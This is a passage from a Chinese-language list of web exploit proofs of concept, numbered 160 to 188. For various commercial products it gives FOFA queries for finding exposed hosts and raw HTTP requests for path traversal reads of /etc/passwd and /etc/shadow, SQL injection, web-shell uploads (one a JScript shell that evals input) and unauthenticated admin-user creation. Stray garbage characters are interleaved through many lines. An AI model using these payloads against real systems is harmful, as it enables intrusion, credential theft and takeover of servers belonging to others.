( N  Y9 M! j+ v" ]8 ]5 O. \<fileName>abcrce.asmx</fileName>
( q$ F0 U, L& [; E<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
% w$ {# a8 Q+ e' q# Z9 n7 q  U0 m</jobUpload>
</soap:Body>
</soap:Envelope>

" P# U6 p3 ^' {- \6 y/ J
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

. Z% \% f/ x  I) ~, b. y# ?/ r, i
160. Sonatype Nexus Repository 3目录遍历与文件读取
$ R4 E  \  s/ U: J; M4 G5 ~CVE-2024-4956
FOFA：title="Nexus Repository Manager"
; A$ k! P& g( {' a! c( A9 ~GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
$ b7 ]) y' P% p7 A4 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
1 U0 B# O) N; OConnection: close
, O9 K: k1 `6 \' y0 ?) F8 `Accept: */*
0 L+ @$ v  n$ L. G% gAccept-Language: en
9 P. j" v3 E7 _5 `Accept-Encoding: gzip

$ b0 T5 s4 r$ H
/ [; s/ D) e  g$ ]* B161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
# r' k' c( F& }+ I2 n第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
& k9 T0 M' ]! g2 j8 lPOST /Webservice.asmx HTTP/1.1
( o% A3 v, ]- |2 K+ [; e/ d/ MHost: x.x.x.x
) ]5 _8 C) P% {+ a$ M1 o+ ]8 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
& a: }+ n& a! ]- f+ x( tConnection: close
Content-Length: 445
. ^9 z* Y: J% T9 c5 @  PContent-Type: text/xml
Accept-Encoding: gzip
- M+ S7 u' g% R9 l7 z' G% z3 U, D
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
0 l! B/ c# d$ N) K1 J( `http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
$ J1 N6 `* y: d( g% Q0 zxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
7 u* S" M! ~% t  j! n<fileName>../../../../dizxdell.aspx</fileName>
  e8 A" \, P" n" m/ H<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
- ^0 ?9 o0 S9 t; a) r<tag>3</tag>
8 z' A7 ~' L+ |( k; t: Z</UploadResume>
* s8 w1 s! s5 R- r" i</soap:Body>
</soap:Envelope>
8 O" Y7 p: R3 f  M/ T. R2 _  V
2 _; w0 S8 [* h' ]" H6 C( b1 c. O
/ A  B; [3 Q( l' l' ]9 Xhttp://x.x.x.x/dizxdell.aspx
, f/ [# H  l5 h. s: `3 m: _
; M" I) C2 S6 E( q162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
$ f& k+ W* k" k# K' LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
8 H7 _$ E; p( ~3 H& b" aConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

! ^5 B. r1 s# p  d+ k------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
; z4 i) s1 J0 s3 m' Y" e5 m, I# `------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
, X0 O. ^$ ^7 b; \- n; a. r4 E6 Q
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

3 Z  o0 M% \4 U" z/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
0 F6 ^% y3 Q- d

5 e9 N0 C3 `' [. nhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
, w$ f* F: Z# k, ]% v! B3 z7 y
4 u- z6 M4 W" ^163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
, j7 ~  o7 Q. L/ vPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
6 l# E2 M" X* \* B$ o; J" S  OHost: x.x.x.x
2 c) [. K! L$ N! z# J0 {) ?& ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
7 O' w8 m7 `0 ]. JContent-Length: 293
Accept: */*
, F1 O% ~# e8 j8 J- F) |& RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, D+ K, a0 J' N; MContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
) d8 @# |$ I; m$ W
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
9 I2 N* S, Z8 N4 R5 V* e8 W
) _( q3 O/ ^  J" `% p" p1.php
0 e+ ]+ U6 M* ]9 J6 a------iiqvnofupvhdyrcoqyuujyetjvqgocod
7 p2 |3 Y* p/ P- M/ VContent-Disposition: form-data; name="upfile"; filename="1.php"
# [: ?8 `8 m  a- YContent-Type: image/jpeg
: p- y+ Z' e) r) [6 k5 i0 q  {$ Z! ]
' _( c* z& ~" W1 \! ?2 {0 arvjhvbhwwuooyiioxega
8 v+ `0 Q. M- j6 Y3 i5 e: D------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
1 B4 {- J; I* U/ I. Y9 s, d9 {  aPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 p& A4 ^- j- q9 y) j* N9 i4 ?Content-Length: 288
7 g9 R7 W, H: GAccept: application/json, text/javascript, */*; q=0.01
# n( @1 d5 ~; XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
( w$ `. [' s+ z2 @) M' j; B% U. qConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
6 I8 S9 V) N4 V6 q3 z, P) hAccept-Encoding: gzip
3 c- ?6 N: G1 ?. L
5 J' ?- Z& w& n  g; S4 `3 K------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
5 B0 N' Q& m9 L4 @
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
1 O7 D0 f! b: t  m+ @; n6 k------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
* H  p7 ~5 c% Y% l) ~
165. OrangeHRM 3.3.3 SQL 注入
/ M4 ]- v% d" {  r. f& ICVE-2024-36428
, K' |* v/ r8 c$ bFOFA: app="OrangeHRM-产品"
7 R3 F% T. f. p5 `) S( HURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

1 w5 S; O1 I; r/ w: M
" A/ [- U% s, h* P% B5 s$ D/ P' T166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
# e7 Q+ W; j" |# ]) `POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
9 k, M0 ~1 V4 m2 K9 d+ F1 T& yPragma: no-cache
Cache-Control: no-cache
( o: k3 X! Z; T" k8 `; iUpgrade-Insecure-Requests: 1
6 P3 R+ ^/ H% bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 W' Q- `9 r$ e$ p; tCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
9 H: L+ \/ j" Z8 gConnection: close
& {1 H% Z( o- N( @Content-Type: application/x-www-form-urlencoded
/ r% B. b5 U6 xContent-Length: 89
& |0 U& J& I* [5 N# u  M$ E4 I
- o- g; O* A1 FMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


: I( I# [1 G8 X167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
7 M; Y+ [! k3 U7 D; dGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
3 w* `1 {; M/ t! b" D& k0 G6 M! ~1 @Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 \3 e* B% I9 m  ZContent-Type: application/x-www-form-urlencoded
# |) J- g' f+ }% dAccept-Encoding: gzip, deflate
Accept: */*
2 E+ k1 x  y, i& O$ bConnection: keep-alive
# L2 T" t+ ?) P# e1 e
1 w2 n/ b, r4 l4 M; x7 T2 L
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
: l1 j, N1 s. v* D0 r0 ]( rHost: your-ip
* }0 c; M! k. q" K1 s% b# iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

" o  Y! O3 V& n  B* D. {4 e

, L& e8 z! x$ `169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' r: n1 \9 I( m. y* N4 |5 HAccept: */*
Accept-Encoding: gzip, deflate
0 m# j0 O- F5 v( A* Z6 Z- z  v+ tConnection: close
& A0 j9 `. i6 `; q
( Y# D/ e% u* J0 g# ]
5 ?( M5 z4 `* U
: t. f& C( W. W! x170. 宏景EHR DisplayExcelCustomReport 任意文件读取
+ @1 I5 C7 r) S/ ?& S! dFOFA：body="/general/sys/hjaxmanage.js"
: Q7 ?' r% B7 K0 U$ gPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
# E4 {5 Q2 Q% ]$ V7 ?Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* F+ A0 Q! T$ x- B
filename=../webapps/ROOT/WEB-INF/web.xml
3 h+ k; q4 P) x8 p
4 N8 G$ j1 d5 g
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
8 ?9 N: o1 t! f4 w$ [Host: your-ip
! u0 s# J2 I, S8 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
. `; T4 |1 k& P6 E7 S) XAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! r9 T7 ^- R/ f& FAccept-Encoding: gzip, deflate
Connection: close

: M4 ^/ b8 ]& @; N8 [
: c; F0 O9 m7 n6 c% M
172. DT-高清车牌识别摄像机任意文件读取
% ?5 r4 Z. `2 v$ C$ KFOFA：app="DT-高清车牌识别摄像机"
/ z; c! w: k9 ]0 `1 c. V2 ~, {GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ C: X! Y- Z: s- G: M! N, {. SAccept-Encoding: gzip, deflate
Accept: */*
2 a6 L; V: ^. y. M* DConnection: keep-alive

6 V( v$ H8 a2 T9 P* H
  u; N% N2 l$ e& ], z: G
173. Check Point 安全网关任意文件读取
. {- x, f# o' C: u5 n9 ECVE-2024-24919
" f& Z% D2 N- o) ]FOFA：app="Check_Point-SSL-Network-Extender"
0 c/ l% C% m( f4 L4 U( X/ NPOST /clients/MyCRL HTTP/1.1
! n: E# r* g) \. R$ PHost: your-ip
Content-Type: application/x-www-form-urlencoded
) p) k6 z* q( x
aCSHELL/../../../../../../../etc/shadow
, L# X5 p; v2 c3 B% ~& h/ L
) ]! d4 g: i# U; ?2 S

; ~5 l6 s/ q" T( S' G+ q174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
, L8 z9 d- Q( G; Z( S% l2 q9 Y' UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 E& d( ?* m& h# T9 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% R, q) {. |2 P% ^3 ]Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


* P5 Z$ z3 ~2 i% c8 X! B4 b
1 l# |# E% t5 n4 k+ C1 o; ]$ x175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
6 Z5 d0 ]' z  \) N, {! o* tFOFA：app="金和网络-金和OA"
: c) J, }/ r. L# k: W7 IGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
; ~8 e9 s# E5 G! g" n5 |% K+ }( {. [User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 L. ?6 G; `5 E6 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* O* A# z! N# A  xAccept-Encoding: gzip, deflate
) ]8 }9 Y3 D% m# z3 n" k* iConnection: close
, e0 ]- D, Z; e0 r! U/ xUpgrade-Insecure-Requests: 1
& k  L- \/ O& A7 p3 @: P/ ^

# M( X- @! g- z* v0 F7 H7 R- _- {176. 电信网关配置管理系统 rewrite.php 文件上传
) u& K7 K9 h' G: l4 lFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& d" b$ U, ?+ s  h% X" d9 i9 VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
- e  Q2 r+ ?, b3 O" p
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
" j+ y+ z9 J! P. E8 aContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
9 E$ ^7 c: ]" _' L  g; c------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
1 c2 W  H! x  q3 [" j4 x9 e: `

# \5 t0 u; h* d* g$ z0 ~' G/ \------WebKitFormBoundaryOKldnDPT--
5 T3 p6 G$ t" r' G3 \
6 m9 z2 Z& p' ]( g( R
4 x& M7 c( r' e$ }
  }, P2 O( W: p4 j/ v* W: m* r9 P" D177. H3C路由器敏感信息泄露
8 O0 T' x1 J. {" G) F( k+ [, \/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 {+ D6 t# R( E0 Q/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
* G$ N1 ]7 F$ q2 T/userLogin.asp/../actionpolicy_status/../GR5200.cfg
' G6 ~3 _2 L8 V/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
0 ~1 I) q3 G7 V+ d/ ~, \+ e, x/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
6 I0 a+ s+ r, t2 {# P  j! [; W/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 O6 w4 V5 i3 K9 ?- Z" I/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
( [4 c( s( W  ?/ C) A- ~/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
1 L/ H* c  @& e4 T9 E* ?/userLogin.asp/../actionpolicy_status/../ER5100.cfg
4 _8 b7 V* e7 M) u/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
2 S4 {7 o! D& X4 n& x. ^6 H/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
- t+ i7 Z2 _5 G: k- }1 g/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
7 v5 |9 x% _& W- C2 C. U& l* Q, z# B/userLogin.asp/../actionpolicy_status/../ER3100.cfg
3 s9 ^  X% O9 [5 Z) t1 D/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
8 K) s  Q+ a# x8 H  ]9 r8 z
& p( O; o# _& S5 Y
+ X$ q! `7 O/ }; ]178. H3C校园网自助服务系统-flexfileupload-任意文件上传
: M8 H" G0 v: X! E; {FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
1 W5 `5 a8 \  F- I8 j# THost:
2 n& M: E' g  Z: h2 O2 ?/ d/ i) qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
: i+ M5 H* K' K$ Y7 t$ IContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
6 t& |0 b3 H& g$ O+ x& A, z-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
( ?& O* n7 N* I- d- E" mContent-Type: application/octet-stream
Content-Length: 255

12234
* W* m1 W* I6 c; M-----------------aqutkea7vvanpqy3rh2l--

; {7 s% X/ z* R+ p
GET /imc/primepush/%2e%2e/flex/12234.txt
/ y( l# w; P& }5 c. z  K+ u

6 W/ {0 ~3 x" p/ J. R179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; h" d) }" u6 F4 _6 gHost: {{Hostname}}
/ v: H" S' X0 g/ nContent-Type: application/x-www-form-urlencoded
7 G5 F& C$ I" F! r7 F8 W! OUser-Agent: Mozilla/5.0
1 |: u! h: U# T1 z) M
: a0 v* ]; C! Q1 c: w/ ?3 ~path=../log4net.config&Name=
6 z6 V- |3 Z: H1 g, i. E) F

180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
" _' a7 S# Y0 p- |$ jGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 z" X8 @$ F8 u# b8 q! TConnection: close
! a$ @; i8 q0 P$ W7 c; A
; B; L7 @: n8 i  a8 F4 V/ t- c
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ y3 `: r" n, @3 j5 q1 ^; ~FOFA："PDCA/js/_publicCom.js"
" E) B2 w& A9 Y  k, W6 gPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
( M" t0 G  U* I! D7 z) a4 \* yHost: your-ip
+ ?) |3 h' R$ I1 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. n' r( v, U( C+ ~* w$ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 P; Y1 z, @5 d9 ?/ K! m8 B& {8 sAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

3 h* v$ ~) l0 M8 _/ l
# K3 C( ?) {. jaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
' K  Q, C  h; R1 a/ a" h% @

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
, W+ `- ^; |; ]) W( D8 uPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
0 g% O  u# j6 {* N0 q% ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, ^# z( W1 o# C9 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ L- A, s3 y7 j# w4 b% GAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
1 l. B- q) |3 I. NConnection: close
2 Z% }8 B5 X9 ^$ BContent-Type: application/x-www-form-urlencoded
; E! u; O& q" M1 K
  z/ E7 _& Q. `8 C( g% |: V2 X& J* n
6 r/ c  Z' i+ x$ D) z/ l3 pusername=test1234&pwd=test1234&savedays=1
5 q) ]- F. |/ k9 q9 @. _( W. [
" f- ~1 Y# p" C$ L* M
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
9 {9 D% e9 q3 M& x5 T  x& ZGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 Q( d' V: B9 b; `% e, h: M/ ~' FAccept-Charset: utf-8
; }9 F3 R. |( XAccept-Encoding: gzip, deflate
Connection: close
  e; B1 }" B' |# _( M, ]
6 g5 x5 J4 |/ G4 Z- a
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
  \) C! ^; s$ l2 DFOFA：server="SunFull-Webs"
: o, `$ d. f! P$ [$ kPOST /soap/AddUser HTTP/1.1
% F3 w+ U( Y9 r" ^8 I8 e' cHost: your-ip
5 v3 ?) U; ]0 J( BAccept-Encoding: gzip, deflate
* H9 L0 T& i" q: q" n: R4 x1 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
$ H" E$ K* ?# Z4 lAccept: application/xml, text/xml, */*; q=0.01
8 D" q3 A$ d2 W9 Y! |* I' }4 d% DContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
4 L0 m! n- X7 h) x6 v  F3 x

  _: \9 c. s) e; @0 p; U8 ^insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
6 b1 m( L+ B4 N$ q8 }- u( W7 h. rFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
# Y* f' M/ G' W2 R+ GHost: host

5 H0 c( U7 y8 U1 _
  D5 a, e& X  j6 W  o/ E186. F-logic DataCube3 SQL注入
CVE-2024-31750
4 C" \/ J8 m: p# y1 cF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
8 }7 R5 I6 C* A) @FOFA：title=="DataCube3"
; [4 d; [& Q' ~5 z/ wPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
2 F; l5 f* P4 r2 `& t$ b( r, oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
7 b7 ?( R# m# ~# R+ N' zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* }( o7 ]* f: eConnection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
% v5 ^/ p* P$ e) H" q3 ^
- J0 \3 d$ u" V4 |* J0 R: u
  \7 z* W6 Z& @( w6 Z0 D4 y3 g% ~, T187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
8 l, P; M9 N* h) a( m. APOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
, d4 Y4 Z! Y; G$ \8 q) c8 O0 H3 fContent-Type: application/x-www-form-urlencoded

% v* O" [' Z; m% s1 D. h  y
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
  s' ]% F, S4 ~5 A# G
, m* Y+ O* V  V0 u. Y
. o+ n) \% i" q  @7 M! l188. 叁体-佳会视频会议 attachment 任意文件读取
' ^* z' v; j+ z! H) X5 d2 r; M8 {6 [" qversion <= 3.9.7
